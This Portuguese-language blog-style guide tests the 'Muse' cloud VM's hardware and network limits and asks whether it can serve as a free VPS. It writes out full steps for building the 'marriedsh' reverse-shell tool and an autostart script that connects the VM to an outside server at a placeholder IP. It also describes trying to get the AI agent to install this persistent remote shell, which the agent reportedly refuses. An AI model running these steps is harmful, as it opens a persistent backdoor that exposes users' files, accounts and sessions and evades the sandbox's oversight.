O Muse atribui a cada conta uma máquina virtual Linux independente. Muita gente me pergunta: será que esse computador na nuvem gratuito pode ser usado como um servidor em nuvem (VPS) de verdade? Os tutoriais de tunelamento com reverse shell que circulam pela internet são confiáveis?
Fiz um teste completo, em dispositivo real, do Muse usando ferramentas nativas de automação CDP. Registrei todo o processo de sondagem de hardware, liberação de permissões de rede, interceptação real dos reverse shells e como utilizá-lo como um servidor em nuvem compatível para rodar scripts, resultando neste guia prático e manual para evitar armadilhas.
1. Teste em Dispositivo Real: Confirmando os 2 Núcleos, 8G e Disco de 100G Prontos para Uso
Muitas pessoas acham, por engano, que o Muse é apenas um sandbox temporário de conversas. Mas, ao executar comandos nativos de detecção do sistema no terminal, você consegue ver claramente os parâmetros físicos reais dessa máquina host.
Digitei os seguintes comandos no terminal:
1nproc2free -h3df -h4uname -a5whoami && pwd
Dados reais retornados pelo terminal:
- Especificações da CPU: 2 núcleos (x86_64)
- Capacidade de Memória: Capacidade total de 7,7 GiB, uso base do sistema de aprox. 5,3 GiB, memória disponível de aprox. 2,5 GiB
- Montagens de Disco: Partição raiz com 7,5 GiB alocados, enquanto no diretório home do usuário /home/hatch, um disco persistente separado de 100 GiB (/dev/mapper/rv) está montado
- Sistema Operacional: Ubuntu 24.04.5 LTS (Noble Numbat), versão do kernel 7.0.0-generic
- Permissões de Execução: Roda como root por padrão no diretório /home/hatch

Meus testes revelaram: cada usuário registrado realmente possui um ambiente independente e completo com 2 núcleos / 8G / 100G Linux.
2. Ferramentas Básicas de Desenvolvimento e Sondagem de Rede de Saída
Para rodar suas próprias ferramentas em segundo plano nessa máquina, você precisa entender as ferramentas de desenvolvimento integradas e as restrições de rede.
Mais resultados da minha sondagem no terminal:
- Ferramentas Pré-instaladas: O sistema já vem por padrão com o git versão 2.43.0 e o curl 8.5.0; as ferramentas básicas de rede e download estão prontas para uso.
- Ambiente de Desenvolvimento: O Rust (rustc) não vem pré-instalado. Se precisar compilar projetos em Rust, você terá que instalar via scripts oficiais ou usar binários pré-compilados diretamente.
- Status da Rede de Saída: Testar
curl -Is https://github.comretorna HTTP 200; o tráfego de saída passa normalmente pelo proxy de segurança interno. - Diretório Persistente entre Reinicializações: Confirmado junto ao sistema, o diretório
/home/hatch/pdata, criado dentro de/home/hatch, mantém os dados após reinicializações, sendo ideal para armazenar ferramentas binárias personalizadas e dados de negócios.

3. Demonstração Educativa: Como a Solução Recomendada de Tunelamento Reverso é Configurada
Por que algumas pessoas querem configurar conexões reversas? Porque o Muse roda em um sandbox de intranet na nuvem, e redes públicas externas não conseguem acessar essa máquina virtual diretamente via IP.
Uma ideia comum de tunelamento é: usar uma ferramenta de proxy reverso (como o marriedsh) para fazer o Muse se conectar ativamente a um VPS público externo e, então, assumir o controle do terminal Shell a partir desse VPS.
Os passos padrão de configuração para essa solução são os seguintes:
1. Preparação do VPS Público Externo
Compile e implante o lado do servidor em um VPS independente com IP público:
1# 1. Clonar e compilar o marriedsh2git clone https://github.com/swigger/marriedsh.git3cd marriedsh && cargo build --release4sudo cp target/release/marriedsh /usr/local/bin/56# 2. Configurar a autenticação do servidor ~/.config/marriedsh/config.toml7mkdir -p ~/.config/marriedsh8cat << 'EOF' > ~/.config/marriedsh/config.toml9[server]10bind = "0.0.0.0:8888"11password = "sua_senha_segura"12credential = "clark"13EOF
2. Escrevendo o Script de Inicialização Automática do Cliente no Muse
Configure o script de inicialização automática /home/hatch/init.sh no terminal do Muse para estabelecer automaticamente um canal reverso com o VPS ao iniciar ou ativar uma tarefa:
1mkdir -p /home/hatch/pdata/bin23cat << 'EOF' > /home/hatch/init.sh4#!/bin/bash5# Daemon reverso em segundo plano da VM do Muse na inicialização6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p sua_senha_segura --credential clark IP_DO_SEU_VPS:8888 > /home/hatch/pdata/msh.log 2>&1 &7EOF89chmod +x /home/hatch/init.sh
3. Assumindo o Controle via Console do VPS
Assim que a conexão for estabelecida, execute o comando no lado do VPS para obter um Shell remoto:
1marriedsh console -n clark
4. Prática em Dispositivo Real: Por Que Forçar um Reverse Shell Aciona a Interceptação de Segurança?
Eu realmente executei os passos acima no terminal do dispositivo real. Os resultados do teste revelaram dois fatos importantes:
1. Portão de Isolamento de Comando Único do Sentinel
Quando pedi ao Muse para executar git clone https://github.com/swigger/marriedsh.git, o mecanismo Sentinel imediatamente exibiu uma interceptação:
Permitir que o Muse compartilhe informações com github.com? [Permitir uma vez] [Sempre permitir este site] [Negar]
O teste confirmou: antes que o usuário clique explicitamente em Permitir, qualquer operação que tente se comunicar com domínios externos desconhecidos será suspensa pelo sistema.

2. Mecanismo Automático de Controle de Risco Semântico e Rejeição para Reverse Shells
Depois que as permissões foram aprovadas e o código foi clonado com sucesso para /home/hatch/workspace/marriedsh, quando o sistema se preparava para escrever o script de persistência de inicialização automática, o modelo de alinhamento subjacente do Muse realizou ativamente uma interceptação de segurança e emitiu uma declaração clara de recusa:
"Não vou executar desta vez. Dois pontos esclarecidos: primeiro, o que acabou de ser aprovado foi apenas o comando
git clone, e não a escrita de um script de inicialização automática — a aprovação não pode ser transferida para outras etapas. Segundo, omarriedshé um reverse shell: uma vez instalado e configurado para iniciar automaticamente, um servidor externo poderá executar comandos arbitrários nesta VM. E esta máquina tem acesso aos seus arquivos de memória, contas conectadas e sessões do navegador. Como o IP de destino e a senha são apenas marcadores de posição, não vou compilá-lo nem executá-lo."

Meus testes provam: forçar um reverse shell é um beco sem saída. Isso não só será interceptado pelo modelo de segurança, como também acionará bloqueios de controle de risco devido a conexões externas anormais de longo prazo.
5. A Verdadeira Lição Principal: Como Usar Esta Máquina como um VPS Compatível Sem Túneis?
O raciocínio de muita gente se limita a "Você precisa se conectar via um cliente SSH para poder chamar isso de servidor".
Através dos meus testes, a maneira correta de usar esta máquina virtual como um VPS é transformá-la em um "Hub de Processamento de Dados e Execução de Automação para Todas as Horas":
- Trate a Caixa de Chat como um Super Terminal:
Você não precisa abrir um terminal de tela preta separado. Pode emitir comandos diretamente na sessão, e ele vai chamar o Python para rodar scripts, processar dados e realizar conversões em segundo plano como root.
- Crie um Drive na Nuvem Permanente Usando `/home/hatch/pdata`:
Coloque todos os seus códigos, scripts Python e resultados de limpeza no diretório pdata. Meus testes confirmaram que os arquivos nesse disco de 100G permanecem intactos mesmo após fazer login de outro dispositivo ou reiniciar a máquina.
- Implemente um Daemon 24 Horas Sem Parar Usando Tarefas Agendadas:
Resolva o problema de "desligar quando a página web fecha": através dos planos de tarefas agendadas oficialmente suportados, faça a máquina acordar automaticamente em horários fixos todos os dias, rodar o processamento em lote em segundo plano e gravar logs de auditoria (audit.log).
- Gere Painéis Visuais Usando Artifacts:
Um VPS normal só mostra logs depois de rodar scripts, mas o Muse consegue processar dados diretamente em painéis front-end interativos de Web App.

6. Resumo e Regras de Ouro Para Evitar Armadilhas
- O Bônus de Hardware é Real: Meus testes mostraram que a Meta realmente fornece a cada usuário um ambiente independente de 2 núcleos / 8G / SSD de 100G; a base computacional é muito sólida.
- Abandone os Reverse Shells: Não caia na armadilha dos proxies reversos; eles não funcionam e disparam facilmente bloqueios de controle de risco.
- Conformidade é Produtividade: Aproveite bem o armazenamento persistente em
/home/hatch/pdatae o agendamento das Tarefas Agendadas para rodar seu próprio pipeline de processamento de dados 24 horas por dia, a custo zero.
Grandes empresas continuam sendo grandes empresas. Embora seja improvável que você use isso como um VPS tradicional, ainda existem muitas outras formas de explorar a ferramenta... No próximo episódio, testaremos: diretórios persistentes sem configuração, escrevendo scripts de limpeza de dados em Python...





